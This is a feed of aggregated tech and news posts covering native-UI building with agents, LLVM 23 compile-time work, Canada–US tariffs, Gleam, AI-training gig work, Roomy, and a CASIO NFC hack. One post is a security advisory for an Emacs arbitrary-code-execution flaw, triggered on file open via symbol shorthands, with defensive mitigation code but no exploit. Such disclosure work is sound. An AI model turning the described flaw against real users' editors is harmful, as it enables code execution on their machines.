What I did was to go trawling for skills, ending up taking this macOS design skill , a basic typography skill (any one you found on Github today would be better than what I’m using), and Paul Hudson’s SwiftUI skill . I also took Airbnb’s Swift language skill , because I haven’t grown out of caring whether the code I generate is idiomatic.

You want to make sure you’ve got computer-use , or whatever Codex calls it, enabled. You want to be able to fire this off, go make lunch, and come back to an app that works well enough to be pleasant to debug. That works way better when the agent can see and drive the app.

My biggest quality-of-life win is never having to open Xcode. Thankfully, my friend Josh built a purely Makefile-driven build process after trying to compile MDV for himself. I’ve just had Claude copy it to every new project I do.

In fact, that’s my entire process at this point: I copy a template app directory , open Claude or Codex in it, and tell it what I want to build. I don’t think my template is particularly good, and I think someone more competent than I am should build the truly-good SwiftUI proto-app (or, if it already exists, you should tell me about it).

I use a similar process to build TUI apps (tell your agent to use tmux to test the TUI, it works a treat). But it’s not clear to me that I’ll ever want to build a TUI again.

Frontend programmers, backend programmers, lend me your ears. I come not to bury TUIs, but rather to entreat you to stop building new ones.

I’ll cop to it right now: I’ve never really liked TUIs. Coming up in the 1990s, I was a Mutt person (after being an Elm person, and before that a Pine person) — until the moment I could stop doing that and use a graphical mail reader.

So this whole piece could be read as a snarky profession of my personal preferences. That kind of thing: not out of character for me!

(or whatever’s been passing for native these last ten years) But the interesting thing here isn’t whether you like terminal interfaces or not. Believe it or not, I’m not trying to yuck your yum. I’m just noticing something that I think hasn’t broken through yet: after decades of dividing software development into “frontend” and “backend”, and frontend further into “web” and “native”, agents have dissolved most of those boundaries. You can reasonably default to building native user interfaces for things, and those interfaces will be kind of good.

If, like me, you’ve spent decades thinking of yourself as a systems programmer that doesn’t produce user interface code, or worse, that your station in the industry is to produce user interface code where windows are drawn out of ASCII characters, it’s time to recalibrate.

It’s one thing to just not care about user interface, or maybe even to abhor good user interface in favor of weird 1970s aesthetics. I won’t kink shame: there was a time in my life where I ran Enlightenment . But if you’re the kind of Unix Morlock who was also a secret Eloi-sympathizer, and appreciated interfaces like NetNewsWire, Transmit, Little Snitch, and Audio Hijack, stop and listen to me. If you haven’t tried your hand at turning one of your 500 throwaway CLIs into a native app, you’re doing yourself a disservice. Go build a native UI. It’ll probably change the way you think.

Compile-Time Improvements in LLVM 23

Lobsters
aengelke.net
2026-08-22 02:37:19
Comments...
Original Article

LLVM 23 has seen substantial compile-time improvements of -6.75% (sqlite3: -10.53%) in -O3 builds. This article describes the major sources of these improvements.

All performance numbers refer to the the stage2-O3 configuration on LLVM compile-time-tracker unless noted otherwise.

ADT

Hash maps/sets, which LLVM uses extensively, have seen three substantial improvements ( also described here ): first, moving away from quadratically probed hash tables to linear probing and an improved deletion (DenseMap ( -1.27% ), SmallPtrSet ( -0.24% ), StringMap ( -0.10% )), removing the need for tombstone keys. Second, occupancy for DenseMap is now stored in a compact bit array ( +0.13% ) instead of using empty keys, which avoid the need for having any in-band reserved values. While worse in terms of instructions in Clang-built Clang, this improves in cycles and reduces branch and cache misses. As a side-effect, removing empty and tombstone keys also made hash table look ups more efficient ( -0.04% ), as some equality functions no longer need to explicitly check for these. Third, moving from CityHash and a weak pointer hash function to xxh3 ( -0.18% ) already improved performance with the old hash table and was a prerequisite for the previous changes.

In SmallVector, the trivially-copyable push_back grow path was moved out-of-line and changed to permit tail call optimization ( also described here ) ( -0.50% ), resulting in shorter live ranges for registers in some cases, fewer instructions on the fast path, more shrink wrapping, and in smaller code and therefore more inlining.

BumpAllocator saw some clean up ( -0.17% , +0.06% ). Compile-time numbers were a bit mixed due to inlining heuristics; the smaller allocation functions shifted inlining boundaries resulting in different "even-odd" inlining. (E.g. for A -> B -> C -> D, if D isn't inlined, B will be inlined into C; if D becomes smaller it will be inlined into C, but then C will no longer be inlined into B, but B will be inlined into A -- but this might miss important simplifications possible when inlining C into B.)

post_order traversal was rewritten ( -0.18% ) to no longer stores the traversal state in the iterator itself, while still not ideal, this made iterator moves cheaper and enabled inlining in some of the iterator functions.

Dominator Tree

The dominator tree representation changed from storing a vector of children to the child-sibling representation ( -0.13% ), avoiding allocations. Care is required to not change the order of the children, as several passes depend on that and produce substantially different output of the children order is reversed. Using a bump allocator ( -0.50% ) for nodes noticably reduced the number of calls to malloc()/free(), considering the amount of dominator trees that are constructed during compilation.

The dominator tree construction saw a few improvements, most notably not materializing successors ( -0.21% ) and storing predecessors as an edge list ( -0.11% ) provided the largest single improvements.

While the construction algorithm is quite fast even on larger programs (despite being O(n^2) in the worst case), the dominator tree representation remains rather inefficient, largely to maintain compatibility with existing traversal patterns and to support updating. In fact, a substantial part of the construction time is purely spent on materializing the result into the DominatorTreeBase data structures.

IR Data Structures

Implementing successors() as iterators over a range of Use s ( -0.21% ) addresses a long-standing inefficiency: previously, each use access was an out-of-line function call that repeatedly dispatched over the terminator instruction type. Doing this required some preparatory work to ensure that successors are stored contiguously in all terminators ( SwitchInst needed changes, the case values are no longer Use s but plain ConstantInt* ) and the larger effort of splitting the Br opcode into separate UncondBr and CondBr opcodes ( -0.08% ) to avoid bitfield accesses to distinguish these. Nonetheless, successors() remains in the top 15 of the hottest functions (self time), primarily due to the cache miss when accessing the terminator opcode and the branch miss at the switch on the terminator type.

Requiring well-formed IR in BasicBlock::getTerminator() ( -0.07% ) and successors() ( -0.12% ) and requiring non-null blocks in the dominator tree ( -0.06% ) also provided improvements -- even cheap checks are somewhat expensive if they're done often. In a similar vein, predecessor iteration got faster: LLVM stores predecessors of basic blocks through their use list, terminators use the successor blocks. Previously, the other type of user of basic blocks was BlockAddress , which occurred quite rarely (only needed for computed goto in C), so the predecessor iterator had to check every block use whether it is a terminator. Changing BlockAddress to no longer use the basic block ( -0.06% ) allowed to remove this check. Removing the pattern matches for nowadays non-canonical integer minimum/maximum based on icmp + select , which since a few releases are canonicalized to dedicated intrinsics, provided some improvements ( -0.09% ), primarily due to the smaller pattern match functions that are now inlined.

Quite a lot of instructions have metadata attached, e.g. for debug info or type-based alias analysis. Debuginfo has a fast path for instructions, but all other metadata attachments are stored in the context, previously in a hash map keyed on the Value pointer mapping to a vector of attachments. Storing these attachments in a single vector ( -0.35% ) (forming multiple linked lists over vector entries) and storing the start of the attachment list in the instruction made metadata queries much cheaper. Using a SmallVector has the disadvantage that all TrackingMDNodeRef need to be moved on growth, but experiments with data structures that added an extra layer of indirection (e.g., a modified PagedVector ) yielded worse performance. Metadata remains an expensive mechanism, however, and instructions that likely have metadata (especially related to alias analysis) should probably get this information stored inline at some point. That getting metadata remains expensive can be demonstrated with the change that made InstCombine !annotation metadata accesses lazy ( -0.07% ). Debuginfo metadata was improved to no longer use TrackingMDNodeRef but plain MDNode pointers ( stage2-O3: -0.50%, stage2-O0-g: -1.15% ) to refer to debug location; this is possible as debug locations are never replaced. IRBuilder lost the ability to attach arbitrary metadata ( -0.04% ), saving on an almost-never hit check on every inserted instruction.

Constant::isNullValue was changed to be computed eagerly and storing the bit in SubclassOptionalData ( -0.14% ), avoiding frequent switches on the type of the constant.

Block Numbers

Several hash maps mapping with basic block keys were removed, continuing work I started in 2024 by introducing block numbers. Originally, to share infrastructure with Machine IR, all data analyses using these had to support the case where blocks were renumbered. This proved to be limiting and preventing adoption in e.g. LoopInfo, where renumbering cannot be supported easily. Introducing separate, more stable analysis block numbers in Machine IR unblocked several other uses. Block numbers are now also used by MemoryDependenceAnalysis ( -0.14% ), BlockFrequencyInfo ( -0.15% ), LazyValueInfo ( -0.02% ), LoopInfo ( -0.15% ), BranchProbabilityInfo ( -0.05% ), removeUnreachableBlocks() ( -0.03% ), and post-order traversal ( -0.18% ). Renumbering blocks after SimplifyCFG ( -0.05% ) also helps to keep the numbers dense; it might beneficial to do this in a few more places.

A side effect of using block numbers instead of block pointers is that BlockFrequencyInfo and BranchProbabilityInfo no longer need to use expensive ValueHandles to remove basic blocks from their data structures (which was necessary to prevent wrong data if the pointer is reused). ValueHandles continue to be a substantial source of overhead and should probably be removed in the long-term.

Back-end

GlobalISel, the maybe-eventually replacement instruction selection back-end, has seen a fair amount of improvements, primarily focused on AArch64 -O0, where it is the default. The end-to-end slowdown over FastISel went down from 12.71% to 9.39% (sqlite3: 31.81% to 26.13%). My favorite improvement is dropping the localizer from the -O0 pipeline ( stage1-aarch64-O0-g: -1.10% ), which previously caused quadratic compile-time in the number of constants per basic block. (This was sadly reverted -- this means that I still have to force-disable GlobalISel when building Disarm and its users like TPDE.) It remains to be seen to which extent GlobalISel can catch up with FastISel.

Other than that, there were only a few improvements ( -0.21% , -0.10% , -0.23% ) on the back-ends.

Clang

Reducing the minimal density for generating static lookup tables from switches in SimplifyCFG from 40% to 10% improved Clang performance for C++ programs ( stage2-O0-g: -0.17% ) -- the density of clang::Decl::castToDeclContext is 38%, which previously resulted in an often-mispredicted branch to compute a constant pointer offset. This is one of the rare cases where a compile-time improvement comes from an optimization improvement.

Not recomputing the current location metadata improved builds with debuginfo ( stage2-O0-g -3.53% ), but the improvement in cycles was only half of that (both in c-t-t and in own measurements).

Startup Time/Size of .data.rel.ro

Many distributions build LLVM as a shared library, as it substantially reduces the package size and build time. However, this has two downsides over a statically linked non-PIE build: first, references to other functions and global objects now require dynamic relocations that must be processed on startup. This particularly affects vtables and data structures containing pointers to strings (e.g. const char * or StringRef ). (NB: it's not the relocations themselves that are so expensive, it's largely the page faults they cause.) Second, LLVM's option parsing ( llvm::cl ) is based on every option initializing and registering itself in their own global constructor. This is especially costly in terms of page faults: the code page of the ctor function of ~each object faults, the access of option string faults, the access of the option struct (>=184B each) in .bss faults, and growing the DenseMap several times causes faults.

While porting away from llvm::cl is a bigger effort (it requires writing a new option parsing framework, probably based on TableGen, hopefully happens for LLVM 24), I did work on reducing the number of page faults on startup by shrinking .data.rel.ro / .data and reducing relocations. Notable improvements came from adding a new compact enum table that stores strings attached to records via record-relative offsets, rewriting unique_function , removing vtables from formatv and format , using StringTable for FeatureKV , SubTypeKV and searchable tables , and merging TargetRegClass into MCRegClass .

I summarized the dylib-related startup costs as of LLVM 23 shortly before branching here .

Precompiled Headers

Not strictly a compile-time improvement, but related: as a big change in the way LLVM and it's in-tree dependants are built, LLVM now uses precompiled headers for almost all compilation units, improving the build times of LLVM/Clang by ~45%. Compiling LLVM was previously very front-end intensive, spending there >80% even in release builds, repeatedly parsing C++ standard library and LLVM Support. With PCH the front-end time is down to ~55%. There are five PCHs now ( LLVM Support (-14.73%) , LLVM Core (-12.70%) , LLVM CodeGen (-6.33%) (more beneficial in all-target builds), clangAST (-13.85%) , and some time later clangCodeGen (-8.12%) ). The PCH build is on by default when building with MSVC or Clang; GCC is disabled as the additional template instantiations, which GCC, unlike Clang, doesn't cache, negate the benefits and GCC's PCH files are quite large.

Acknowledgements

Thanks to Nikita Popov and Fangrui Song for reviewing most of my changes. Thanks to Nikita Popov for hosting LLVM compile-time-tracker. Most of the compile-time improvements in LLVM 23 were authored by Cullen Rhodes, Fangrui Song, and myself.

Canada will match US tariffs 'dollar for dollar' as trade talks break down

Hacker News
www.bbc.com
2026-08-22 02:16:57
Comments...
Original Article

Reuters Canadian Prime Minister Mark Carney attends the announcement of a Quebec-Newfoundland hydro agreement Reuters

Prime Minister Mark Carney said progress in the talks was not enough to meet Canada's objectives

A fresh wave of US tariffs on a wide array of Canadian goods came into effect on Saturday after a last-minute breakdown in trade talks.

Announcing the suspension of negotiations shortly before the Friday night deadline, Canadian Prime Minister Mark Carney said he would impose reciprocal tariffs on US goods "dollar for dollar".

Carney said "last-minute changes in the US proposed terms were unfair, uneconomic, and called into question the reliability of any deal".

Trade negotiators had been engaged in intense talks since July, after President Donald Trump threatened to impose a 50% levy on nearly $20bn (C$28bn) of Canadian imports by 19 August.

Trump had temporarily paused those tariffs earlier in the week, saying the two sides were close to signing a trade deal that was "very good" for both countries.

But minutes before the deadline for a deal, Carney said that while "important progress" had been made in the talks it was "not enough to meet our objectives for Canadians".

"As a result, this evening, I have decided to suspend trade negotiations with the US and have directed negotiators to return to Ottawa," he said.

"Last-minute changes in the US proposed terms were unfair, uneconomic, and called into question the reliability of any deal."

After Carney's announcement US trade representative Jamieson Greer said in a statement: "Tonight, Canada declined to finalise the trade deal under the terms agreed earlier this week.

"Despite the US offer to Canada to receive the best treatment of any major exporter to our market, new demands and walk backs of other commitments by Canada have upended the careful balance reached in the past days."

The breakdown in talks marks a significant shift in tone from earlier in the week, when both US and Canadian officials sounded optimistic that a trade deal beneficial for both countries was within reach.

Negotiators were reportedly discussing a deal that would reduce US tariffs on Canadian steel and aluminium from 50% to 25%, and on Canadian autos from 25% to 15%.

In exchange, Carney had asked Canadian provinces to restore US alcohol to store shelves.

Tensions between the two major trading partners have been simmering since Trump returned to office in January last year and unleashed a wide-ranging global programme of tariffs, upending decades of free trade between Canada and the US.

Now that talks have broken down, Canada will be hit with new 50% US tariffs imposed by Trump using a Depression-era law called the Tariff Act of 1930.

They will be applied on a range of goods, including wine, dairy, cement, clothing and hockey equipment.

They are in addition to existing tariffs the US had already imposed on Canadian steel and aluminium, autos and lumber.

Doug Ford, the traditionally outspoken premier of Canada's largest province Ontario, said "the prime minister has my full support for a strong response - tariff for tariff, dollar for dollar," following Carney's announcement.

Canada has been engaged in on-again, off-again trade negotiations with the US for over a year in pursuit of a deal that would see the US drop or reduce tariffs on these key sectors.

The US, meanwhile, has been asking for a number of concessions from Canada, including removing its remaining retaliatory tariffs on American autos and adjusting its dairy quotas to allow greater access for US cheese producers.

It has also asked that the ban on US alcohol sales, imposed last year by most Canadian provinces in retaliation to Trump's tariffs, be removed.

Businesses and stakeholders on both sides of the border had pushed for a deal to be reached, arguing that the new US tariffs on Canada will be harmful to both countries.

The US Chamber of Commerce said earlier in the week in a statement that "higher tariffs would damage both economies, drive up costs for US families, further disrupt critical supply chains, and risk the 13 million American jobs that depend on trade under the US-Mexico-Canada Trade Agreement".

A recent poll by Canadian firm Abacus Data suggested that around 36% of Canadians would support retaliating to US tariffs, while another 30% would want the Carney government to continue negotiating.

Retaliation risks upsetting the Trump administration, with trade representative Jamieson Greer saying the US is "not going to tolerate" counter-tariffs.

"We'll take action," he told reporters last week.

The cool things of Gleam

Lobsters
a.baez.link
2026-08-22 02:16:08
Comments...
Original Article

Ok. I am liking Gleam. I haven't been working with the language for long (read, last week ). But still. I am REALLY liking the simplicity. These are some quick notes from learning the language so far.

The @deprecated attribute

It is easy to miss how valuable. But if you been writing too much GraphQL , you will know the @deprecated decorator . In Gleam, @deprecated works the same way. You add a function attribute to tell the compiler where people should go for the new way:

@deprecated("Use new_way. It's better")
fn old_way(x: String) -> String {
  x
}

fn new_way(x: nice) -> nice {
  x
}

Simple and immensely effective. Helps provide a path to where to look for new versions of a library function. Once you have such an annotation system, developing gets a little bit easier. And you miss it quite quickly when you don't have it!

Todo

Have you ever written somewhere in your code a todo? I mean... there's literal todo linters out there. Well, in Gleam, todo is a base construct. You identify like so:

fn something() -> String {
  todo as "maybe, should do something" 
}

Allowing you to not only identify there is something to do, but with details on what the todo may actually need to be. I cannot tell you how many times I've written these little todo in comments. So let's just say, I am content with the option being baked in.

Generics

Anywhere you go, you will find papers upon papers over "correctness" for how to do Generics. Also known as parametric polymorphism . For example, in Go we had to wait for years until 1.18 :

type Num interface {
  int | string
}

func Mistakes[T Num](val T) T {
  return val
}

Go's way isn't bad. Especially when you remember how to do this in C++ . Or again in Go where you still have to argue with others about using generics instead of interfaces... But in Gleam:

fn Mistakes(val: woah) -> woah {
  val
}

Gleam handles the generic type as part of functional type annotation. Some powers are lost in more stronger construct. Like constrained generics. But, the benefit is simplicity and readability.

case EVERYTHING

You see, in BEAM languages like Elixir, Erlang, or Gleam, you will have to do pattern matching. It is a super power of these languages. Maybe the super power.

For a simple example that translate outside of the beam, take checking if an integer is zero. In Elixir you can do this magic with functions:

def zero?(0), do: true
def zero?(maybe) when is_integer(maybe), do: false

Which translate to something in Go like the following:

func zero(maybe int) bool {
	switch maybe {
	case 0:
		return true
	default:
		return false
	}
}

I personally really like Elixir's magic. It feels like alchemy. But also... it kind of is. There is macros , atoms , guard constructs, functional type checks , overloads, and pattern matching to make those two lines work.

In Gleam, the language takes the approach of being meticulous on doing things one simple way. Which means, case expressions are your everything:

fn zero(maybe Int) -> Bool {
  case maybe {
    0 -> True
    _ -> False
  }
}

While may seem similar to Go's approach and less so of Elixir's, Gleam is in checking what each an operational response should be. So constructs that are harder on non pattern matching languages, like deconstruction of lists, are still straight case matches:

// return first list with at least 2 elements
fn first_with_many(lists: List(List(t))) -> List(t) {
  case lists {
    [] -> []
    // notice the pattern alias!
    [[_, _, ..] as first, ..] -> first
    [_, ..rest] -> first_with_many(rest)
  }
}

No Exceptions!

For so many languages, exceptions is simply a way of dealing with errors. Exception handling in python is practically a requirement. It is inevitable.

However in Gleam, the type system is built for no exceptions. Elm is notorious for this type of design. To do such a thing outside of such languages, you have to be absolutely foaming methodical on how you write code. But in Gleam, it is simply part of how the language works.

let x: Option(Int) = None
// default to -1 if None
let y = option.unwrap(x, -1)

You either get the result of unwrap, or you get a default you define. Done.

No Nulls

This one is one that is definitely coming from the Rust part of Gleam. The language doesn't have null/nil values. Yes. Technically there is a Nil type, but it is only able to be set to itself. You can't make an Int a Nil value. However, there is such a thing as an absence of something. You use Options for that.

And if you want to know of errors, you use Results .

let err = Error("yes, things went the wrong way")

And that's it! There's other neat tricks on the language, but the simplicity is what really selling its abilities for me.

‘Digging the grave of my profession’: the Hollywood creatives training AI to do their jobs

Guardian
www.theguardian.com
2026-08-22 02:00:55
Amid a jobs slump, award-winning writers, directors and producers taking on sometimes lucrative temp work teaching AI skills such as screenwriting and production Hollywood creatives are taking gig work to train AI models to replicate their skills in a bid to offset tightening earnings in a trend one...
Original Article

H ollywood creatives are taking gig work to train AI models to replicate their skills in a bid to offset tightening earnings in a trend one compared to being “handed a shovel and asked to dig the grave of my profession”.

Experienced and award-winning writers, directors and producers are being paid from $12 to $200 an hour to teach AI models the intricacies of their jobs, from writing a screenplay to devising a shooting schedule.

With feelings ranging from fatalism to guilt, the creatives have signed up with some of the booming training agencies, which have contracts with the biggest AI companies including Anthropic and OpenAI, to pass on hard-won human skills in industries such as finance, health, law and social work.

While they wait for entertainment industry work, they give notes on the AI systems’ attempts to do the tasks they would hope to be paid for themselves. It comes amid a slump in jobs in the motion picture and sound recording industries, where AI is starting to take roles from actors, editors and special effects artists. Netflix this month revealed it used AI in 300 of its 1,000 titles in 2026, and directors including Ron Howard are starting to embrace the technology .

“It’s very production specific,” said Ruth Fowler, a screenwriter and producer in Los Angeles. “It’s teaching it how to take our jobs.”

Fowler wrote and created Rules of the Game, a BBC One drama starring Maxine Peake, and co-wrote the screenplay for Little Disasters, a series for Paramount Plus starring Diane Kruger. But she started training AIs “because I was thinking: wow, I’m always broke”.

“I think production is down by 35% or something insane,” she told the Guardian. “So everybody was like: ‘what do we do?’”

She had to train an AI to devise a detailed schedule for a hypothetical two-day shoot, including identifying necessary filming permits, potential location hazards, daylight conditions for photography, lists of personnel per shot and cast needs such as child protection. She would train the AI to base the plan on documents including emails, a shooting script and other production materials. In another case, she trained an AI how to put together a pitch deck for film and TV ideas – the kind of work a production executive would do.

Another creative, an LA documentary director, took a job teaching an AI how to accurately transcribe video footage. He reviewed recordings of a Little League baseball game where the voices were muddled by music and crowd noise to teach it to tease out overlapping sounds. He also had to create a visual guide to each speaker (for example: blond woman with a buttoned-down shirt with a gold necklace) and characterise accents, such as English, Scottish, African American or Asian – which sparked concern among the freelance workers.

“I would not have embarked on this work if I did not have a realistic and perhaps a bit fatalistic understanding of how the world is working,” he said, requesting anonymity. “This is simply a thing that will be with us in the future and no amount of abstaining will prevent [it].

“I describe to friends [that] I was essentially handed a shovel and asked to dig the grave of my profession.”

Director Ron Howard wearing a light suit and a baseball cap with his hands clasped.
Ron Howard is set to release an AI-enabled animated documentary feature about prisoners of war in Vietnam. Photograph: Stéphane Cardinale/Corbis/Getty Images

Job opportunities for Hollywood workers have dwindled. Shoot days in LA fell 48% between 2021 and 2025, according to FilmLA Research , as the consequences of the pandemic, the writers’ strike and lower investment by the streaming companies took a toll. Across the US, jobs in motion picture and sound recording industries declined 28% from 450,000 in July 2022 , the peak of the post-pandemic recovery, to 326,000 in May 2026, according to the Bureau of Labor Statistics . Across the wider US economy, 10% to 15% of jobs in the US could be eliminated by AI and more than half of roles reshaped by the technology – with driverless taxis, software coding and AI translation among prominent examples, according to an April analysis from Boston Consulting Group.

Mercor, Micro1 and Handshake are three of the prominent AI training companies. Micro1 was this week seeking producers with “demonstrated mastery in film, television, digital, or live event production” and more than five years of credited project experience to “design and author evaluation tasks that simulate realistic production-management scenarios, such as budget reconciliation, scheduling adjustments, and vendor or crew coordination”. Pay is up to $85 an hour.

skip past newsletter promotion

Jody Wheeler, a 56-year-old screenwriter who has taught at the University of Southern California and has taken AI training work, was sanguine, having seen what he believes are the technology’s shortcomings. While the AI models are good at churning out ideas, he said, “the machines are not going to be generating Oscar - winning scripts any time soon”.

“You can see this as kind of giving people a shovel to bury themselves with,” he said. “It can also be the case that you’re giving people a shovel to help them unearth stuff that they wouldn’t have been able to do themselves before.”

Younger filmmakers have been turning to AI to produce films and series that wouldn’t have otherwise received funding. For example, Zack London, who goes by the name Gossip Goblin , is due to release a feature film in cinemas later this year, having built up hundreds of millions of views for his AI-produced science fiction shorts online.

Another writer with credits on TV series for Amazon, HBO, NBC and Lionsgate, who asked not to be named, said she had started training AIs to write scripts after commissions did not rebound from the 2023 writers’ strike. She also assesses AI-written podcasts, novels and lectures: “It’s keeping me afloat without letting me have to stress.” She has noticed the AI getting significantly better, but “no closer to approximating human emotion … there’s no nuance”. AI could write an episode of CSI, but not Severance or Succession, she said.

“I don’t worry about it replacing real artists,” she said. “Is it gonna level out the guys who never should have been doing this in the first place? Yes.”

“A couple of months ago, I was starting to think: ‘Oh god, I maybe should not be doing this. Maybe we are going to a place where this is going to eventually put people out of work.’ But at the end of the day, having money in the bank won.”

Emacs Arbitrary Code Execution Returns

Lobsters
eshelyaron.com
2026-08-22 01:42:55
Comments...
Original Article

Quick update about an Emacs security issue

Created on , last updated

It’s been over a year and a half since I last wrote here about an arbitrary code execution vulnerability in Emacs. I guess the title mostly gave it away, but yes, there’s another such vulnerability that you should know about. This one’s actually pretty cool; it probably deserves a lengthy deep dive. But for now, just a short PSA:

Commit 8466eb44 , which landed on the emacs-31 release branch on 2026-08-05, mitigates an arbitrary-code-execution-on-file-open vulnerability (CVE requested, not yet assigned). The vulnerability abuses Emacs Lisp symbol shorthands , a feature added in Emacs 28.1. It allows a specially-crafted file to trigger arbitrary attacker-controlled Emacs Lisp code execution as soon as you open the file—even before the file’s malicious contents are displayed. Moreover, any file can carry the exploit, regardless of the file’s name or extension. It does not require any special settings either; the default configuration is vulnerable. Stefan Monnier posted a proof of concept in the Emacs bug tracker.

This vulnerability affects all Emacs versions from 28.1 onward, including 31.0.91, which is the latest pretest version of Emacs 31 as of this writing. No released Emacs version currently has the mitigation.

As far as I know, there are no plans to provide security releases for existing Emacs versions (the subject came up in this discussion on the emacs-devel mailing list ). The mitigation is small and self-contained, though—it binds read-symbol-shorthands to nil around a few risky intern calls in two files—so it should apply cleanly to previous Emacs versions. If you package (or just use) an affected Emacs version, you may want to cherry-pick this commit.

If you can’t get an Emacs with this mitigation, but you are using Emacs 30 or later, then another way to protect yourself is to install and enable my trust-manager package . It includes a blunter solution for this problem: in untrusted files, it disables symbol shorthands altogether.

On all affected versions, you can approximate the emacs-31 mitigation without rebuilding Emacs, by adding something like the following to your configuration:

(defun suppress-shorthands (orig &rest args)
  (let (read-symbol-shorthands) (apply orig args)))

(advice-add 'vc-find-backend-function :around #'suppress-shorthands)

(with-eval-after-load 'cc-fonts
  (advice-add 'c-compose-keywords-list :around #'suppress-shorthands))

On the Emacs master branch, this vulnerability has been fixed at a more fundamental level by severing a risky connection between symbol shorthands and interning symbols : intern and intern-soft no longer consult read-symbol-shorthands (see bug#80574 ). This fix will only appear in Emacs 32, though.

Roomy is generally available

Lobsters
blog.roomy.space
2026-08-22 01:19:19
Roomy is an open-source Discord alternative for the decentralized web, built around public, forum-like community spaces rather than private messaging. It uses Bluesky's AT Protocol for identity and social discovery. Comments...
Original Article

It's done. Like, not all done done, but done enough that we feel comfortable opening the doors once more to the general public. Come on in to our roomy.space !

First and foremost we want to welcome the Atmosphere Community .

Roomy is made for all netizens, but seeing as we've been building this thing for the past year and a half in the company of fellow atproto enthusiasts, the majority of people we expect to reach with this first-look announcement will be atmosphere-savvy folks, so this one's for you lot.

Becoming atproto-native

Roomy has always been atproto- first by deferring to the atmosphere for user identites. It's taken us a lot longer to be truly atproto- native , as the necessary building blocks of the protocol just weren't ready.

In the last few months, following the stabilization of permissioned data , we invested considerable efforts into shaping those missing building blocks. This culminated in a proposed standard for groups management called The Arbiter , building on top of the perimissioned data proposal .

It was frankly nerve-wrecking to go from a soft-release at the AtmosphereConf only to revert once more to the drawing board in relative stealth-mode to figure this thing out. By now we've undoubtedly acquired a reputation as 'the crew that can't quite ship ', and it's been tearing at us.

Therefore it's all the more gratifying to see the arbiter being recognized as the common protocol primitive we intended it to be.

Modeling communities on permissioned data - Daniel's Leaflets

Arguing against "universal spaces" and raising a couple questions that come up as a result.

https://dholms.leaflet.pub/3mndhk7ihsc2g/l-quote/25_0-25_394#25_0

I want to highlight the work that @zicklag.dev & the folks at Roomy are doing on The Arbiter. For anyone not following that project, the arbiter is a general-purpose interoperable group-management service that sits on top of permissioned spaces. The arbiter hosts community DIDs and their spaces and exposes a standard API for creating spaces and managing those spaces, membership, and member roles.

All this time we've been tunneling our way through the mountain in deafening darkness, blindly trusting our calculations would lead us to our intended destination on the other end.

Now, with permissioned data settling into a formal specification along with our arbiter concept finding approval among our protocol-drafting peers, we've actually traveled around to the far side of the mountain to see the other end of the tunnel being dug, and we can finally say with certainty that we've been digging in the right direction.

The math was sound; there will be warming light and breathable air at the end of the tunnel.

Stabilizing the client

Coinciding with the arbiter work, @meri.garden has been readying the Roomy app for eventually-on-protocol private spaces and a 'thin client' interface based on AppView + XRPC, essentially making Roomy just another atmosphere client.

Meri's avatar

My @roomy.space roadmap for next few weeks: 1. Private spaces + invites 2. Permissioned channels + roles 3. Big refactor to AppView + XRPC interface / thin client 4. Push notifications all parallel to @zicklag.dev speccing and implementing an ‘arbiter’ RBAC service for ATProto permissioned spaces

We'll spare the technical details here, but the crux of it is that our old frontend architecture was doing a lot in the name of a local-first/p2p vision of the app we then felt was necessary to provide the kind of data-control guarantees we want to give to users and communities. Knowing we will get to do that with permissioned data freed us up to make a dramatically more conventional app. Simplifying our stack with more atproto-alignment means we can optimise harder, ship features and fix bugs a lot faster.

Inhabited space

There's also been a considerable change in our app's UI, namely the disappearance of the ever-present vertical space-switcher menu popularized by Slack & Discord. Instead we've opted for a design more akin to Notion and other such workspace apps that optimize for spaciousness over rapid context-switching.

The vertical slider will be brought back as an opt-in feature for the fleet-footed, but we want the default experience of Roomy to center whichever space you're presently inhabiting, void of any nagging reminders that there's anywhere else you ought to be. Moving your attention from one context to the next should be intentional rather than habitual.

Open for business & taking a break

Immediately following the re-re-re-release of our app, next week we will announce the first piece of our commercial offering for businesses.

Not long after this series of releases we intend to take a little break, NPMX style .

If you want to sign up preemptively as a beta tester of our Pro plan, use the form embedded below.

Companion posts

We’re back with more news next week, but in the meantime please enjoy these accompanying announcement posts from our dear collaborators &

roomy, open now

come in, we have a lot to share

https://www.jaydip.me/blog/roomy-open-now

Roomy & Designing for Communities | Fish | Offprint

My personal experiences working with the team at Roomy, and how I feel after the last 5 months helping with the project.

https://blog.felinus.fish/a/3mp5qgy5w6y23-roomy-designing-for-communities

Turning My CASIO F-91W Into a Contactless Payment Device

Lobsters
hackernoon.com
2026-08-22 01:08:21
Comments...
Original Article

PREFACE

Recently I have been travelling quite a bit and I could appreciate the fact to pay for bus/metro rides or coffee/beers around just with contactless technology. Apple/Google/Samsung-Pay based systems require actively unlocking your tech device and this generates some slow-down in the payment process.

If you’re standing in line with a bunch of people behind you awaiting and something goes wrong, you’re toast 🥪.

Metro turnstile with contactless payment device in Milano, Italy Metro turnstile with contactless payment device in Milano, Italy

As an inveterate NERD , I’ve worn a CASIO F-91W since I still had pimples on my face. This legendary timepiece graces the wrists of tech aficionados worldwide with its sleek design, sturdy build, and impressive battery life (is said to last ~ 7 years ). It became a symbol of the digital watch revolution starting from the 80’s with the quartz adoption.

I thought it would be nice not to have to take out my credit/debit card from the wallet or my mobile phone from the pocket to pay, but instead, to bring the watch closer to the PoS and just pay with a pinch of modern-day magic ✨.

So I decided to give it a new life and take it to the next level by combining nostalgia and innovation in pure hacking style .

ANALYSIS

The NFC ( Near Field Communication ) technology enables an exchange of information without direct physical contact between two devices involved. In the case of contactless payment cards , they can be used without being inserted in a PoS slot or by entering a PIN code, making financial transactions faster and more convenient.

Vendor-censored contactless payment card I own(ed) Vendor-censored contactless payment card I own(ed)

Inside a plastic (or metallic) contactless payment card , we can find several components:

  • Microchip : often referred to as a secure integrated circuit ( IC ) chip or a smart chip , it serves as the brain of the card and contains various sub-components like the CPU (it controls the card’s operations and manages data processing), the Memory (stores data information such as account details, transaction history and security keys ) and a Crypto Core (it can generate true-random numbers , it helps in solving arithmetical challenges, it can perform encryption/decryption of data and be helpful in the authentication process of the card and the terminal).

  • Antenna : usually made of copper or aluminum , is responsible for transmitting and receiving radio frequency signals to enable contactless communication. It is designed in a specific pattern to ensure efficient signal transmission .

Through an antenna it is possible to transmit and receive radio-frequency waves , a form of energy that can travel through space or materials by carrying information. The frequency of the NFC protocol is 13.56 MHz (in some cases it can vary and be slightly higher, around 14.5 ~ 15.5 MHz for payment systems or ATMs). The wavelength (represented by the symbol λ-lambda , in simpler terms, is the measurement of the length of a single wave cycle) in free space is calculated by dividing the speed of light constant (~ 300'000Km/s) by the target frequency.

